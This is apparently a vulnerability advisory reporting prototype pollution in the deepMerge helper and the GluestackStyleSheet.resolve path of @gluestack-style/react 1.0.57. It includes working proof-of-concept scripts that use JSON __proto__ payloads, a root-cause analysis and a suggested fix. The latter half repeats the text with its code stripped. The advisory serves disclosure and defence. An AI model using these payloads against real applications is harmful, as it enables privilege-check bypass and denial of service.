Summary
@gluestack-style/react@1.0.57 (latest) is vulnerable to prototype pollution. The deepMerge helper in lib/commonjs/core/utils.js iterates source with for...in and, while it guards with source.hasOwnProperty(key), that guard cannot stop an own enumerable __proto__ property (produced by JSON.parse). When target is a plain object, target['__proto__'] resolves to Object.prototype, so the recursive deepMerge(target[key], source[key]) writes attacker-controlled fields onto Object.prototype and they are inherited by every plain object thereafter.
This is not limited to calling deepMerge directly. The helper is consumed by GluestackStyleSheet.resolve(...) in lib/commonjs/style-sheet/index.js, where the ExtendedConfig argument is passed straight into deepMerge(CONFIG, ExtendedConfig) without any pre-processing that would drop __proto__. Because the package ships without an exports field in package.json, every internal subpath (e.g. @gluestack-style/react/lib/commonjs/style-sheet) is externally require-able, so the pollution is reachable through the style-sheet resolution path, not only through the utility itself.
Details
Affected file: packages/styled/react/lib/commonjs/core/utils.js (and the ESM mirror under lib/module/core/utils.js).
const deepMerge = (target = {}, source) => {
for (const key in source) {
if (source.hasOwnProperty(key)) {
if (typeof target[key] === 'object' && typeof source[key] === 'object') {
deepMerge(target[key], source[key]);
} else {
target[key] = source[key];
}
}
}
return target;
};
Root cause:
for...in enumerates __proto__ when it is an own enumerable property of source (which JSON.parse('{"__proto__":...}') produces).
source.hasOwnProperty('__proto__') returns true for that own property, so the guard does not reject it.
- For a plain-object
target, target['__proto__'] is Object.prototype, and because both sides are objects, control enters the deepMerge(target[key], source[key]) branch — i.e. deepMerge(Object.prototype, source['__proto__']) — writing the attacker's nested fields onto Object.prototype.
Indirect reachability (no direct deepMerge call):
lib/commonjs/style-sheet/index.js, StyleInjector.resolve:
resolve(cssIds = [], CONFIG, ExtendedConfig, resolve = true, declarationType = 'boot', ignoreKeys = new Set()) {
let componentExtendedConfig = CONFIG;
if (ExtendedConfig) {
componentExtendedConfig = deepMerge(CONFIG, ExtendedConfig); // ExtendedConfig flows straight in
}
...
}
ExtendedConfig is a caller-supplied object and is not normalized through Object.keys before reaching deepMerge, so an own __proto__ key survives into the merge. The package has no exports map, so require('@gluestack-style/react/lib/commonjs/style-sheet') is externally reachable.
Note: the sx prop path through styled.js → convertSxToSxVerbosed(userSX) is not affected, because convertSxToSxVerbosed internally uses Object.keys(theme), which does not enumerate __proto__. The vulnerable path is the direct deepMerge utility and the GluestackStyleSheet.resolve ExtendedConfig argument.
PoC
Install the affected version:
mkdir gs-pp && cd gs-pp
npm init -y
npm i @gluestack-style/react@1.0.57
1) Direct deepMerge
// poc-direct.cjs
const { deepMerge } = require('@gluestack-style/react/lib/commonjs/core/utils');
delete Object.prototype.pp;
deepMerge({}, JSON.parse('{"__proto__":{"pp":"yes"}}'));
console.log(Object.prototype.pp); // 'yes'
console.log(({}).pp); // 'yes'
delete Object.prototype.pp;
2) Indirect, via GluestackStyleSheet.resolve (no direct deepMerge call)
// poc-indirect.cjs
const { GluestackStyleSheet } = require('@gluestack-style/react/lib/commonjs/style-sheet');
delete Object.prototype.ss_gp;
const CONFIG = {};
const ExtendedConfig = JSON.parse('{"__proto__":{"ss_gp":"PWNED_VIA_STYLESHEET"}}');
try {
GluestackStyleSheet.resolve([], CONFIG, ExtendedConfig, true, 'boot', new Set());
} catch (e) {
// later steps in resolve() may throw once CONFIG is empty; the merge already ran
}
console.log(Object.prototype.ss_gp); // 'PWNED_VIA_STYLESHEET'
console.log(({}).ss_gp); // 'PWNED_VIA_STYLESHEET'
delete Object.prototype.ss_gp;
Run:
node poc-direct.cjs
node poc-indirect.cjs
Expected output on @gluestack-style/react@1.0.57:
PWNED_VIA_STYLESHEET
PWNED_VIA_STYLESHEET
Impact
Prototype pollution. Any code path that supplies an attacker-influenced object (configuration, theme extension, provider options, or any data that reaches deepMerge or GluestackStyleSheet.resolve's ExtendedConfig) can inject properties onto Object.prototype, affecting every plain object in the application:
- injected properties are inherited by all plain objects, enabling condition bypasses (
if (obj.admin)), denial-of-service via unexpected keys in for...in loops, and logic tampering;
- the
sx prop path happens to be shielded by Object.keys, but the deepMerge utility and the style-sheet ExtendedConfig path are not;
- the package has no
exports field, so internal subpaths are externally reachable.
Affected package: @gluestack-style/react, version 1.0.57 (current npm latest).
Suggested fix: reject __proto__, constructor, and prototype keys in deepMerge before recursing/assigning, and use Object.prototype.hasOwnProperty.call(source, key) together with an explicit denylist; additionally consider adding an exports map to package.json so internal modules are not part of the public surface.
Environment
@gluestack-style/react: 1.0.57 (npm latest)
- Node.js: v24.10.0
- Reproduced on a clean install.
Summary
@gluestack-style/react@1.0.57(latest) is vulnerable to prototype pollution. ThedeepMergehelper inlib/commonjs/core/utils.jsiteratessourcewithfor...inand, while it guards withsource.hasOwnProperty(key), that guard cannot stop an own enumerable__proto__property (produced byJSON.parse). Whentargetis a plain object,target['__proto__']resolves toObject.prototype, so the recursivedeepMerge(target[key], source[key])writes attacker-controlled fields ontoObject.prototypeand they are inherited by every plain object thereafter.This is not limited to calling
deepMergedirectly. The helper is consumed byGluestackStyleSheet.resolve(...)inlib/commonjs/style-sheet/index.js, where theExtendedConfigargument is passed straight intodeepMerge(CONFIG, ExtendedConfig)without any pre-processing that would drop__proto__. Because the package ships without anexportsfield inpackage.json, every internal subpath (e.g.@gluestack-style/react/lib/commonjs/style-sheet) is externallyrequire-able, so the pollution is reachable through the style-sheet resolution path, not only through the utility itself.Details
Affected file:
packages/styled/react/lib/commonjs/core/utils.js(and the ESM mirror underlib/module/core/utils.js).Root cause:
for...inenumerates__proto__when it is an own enumerable property ofsource(whichJSON.parse('{"__proto__":...}')produces).source.hasOwnProperty('__proto__')returnstruefor that own property, so the guard does not reject it.target,target['__proto__']isObject.prototype, and because both sides are objects, control enters thedeepMerge(target[key], source[key])branch — i.e.deepMerge(Object.prototype, source['__proto__'])— writing the attacker's nested fields ontoObject.prototype.Indirect reachability (no direct
deepMergecall):lib/commonjs/style-sheet/index.js,StyleInjector.resolve:ExtendedConfigis a caller-supplied object and is not normalized throughObject.keysbefore reachingdeepMerge, so an own__proto__key survives into the merge. The package has noexportsmap, sorequire('@gluestack-style/react/lib/commonjs/style-sheet')is externally reachable.Note: the
sxprop path throughstyled.js→convertSxToSxVerbosed(userSX)is not affected, becauseconvertSxToSxVerbosedinternally usesObject.keys(theme), which does not enumerate__proto__. The vulnerable path is the directdeepMergeutility and theGluestackStyleSheet.resolveExtendedConfigargument.PoC
Install the affected version:
1) Direct
deepMerge2) Indirect, via
GluestackStyleSheet.resolve(no directdeepMergecall)Run:
Expected output on
@gluestack-style/react@1.0.57:Impact
Prototype pollution. Any code path that supplies an attacker-influenced object (configuration, theme extension, provider options, or any data that reaches
deepMergeorGluestackStyleSheet.resolve'sExtendedConfig) can inject properties ontoObject.prototype, affecting every plain object in the application:if (obj.admin)), denial-of-service via unexpected keys infor...inloops, and logic tampering;sxprop path happens to be shielded byObject.keys, but thedeepMergeutility and thestyle-sheetExtendedConfigpath are not;exportsfield, so internal subpaths are externally reachable.Affected package:
@gluestack-style/react, version1.0.57(current npm latest).Suggested fix: reject
__proto__,constructor, andprototypekeys indeepMergebefore recursing/assigning, and useObject.prototype.hasOwnProperty.call(source, key)together with an explicit denylist; additionally consider adding anexportsmap topackage.jsonso internal modules are not part of the public surface.Environment
@gluestack-style/react: 1.0.57 (npm latest)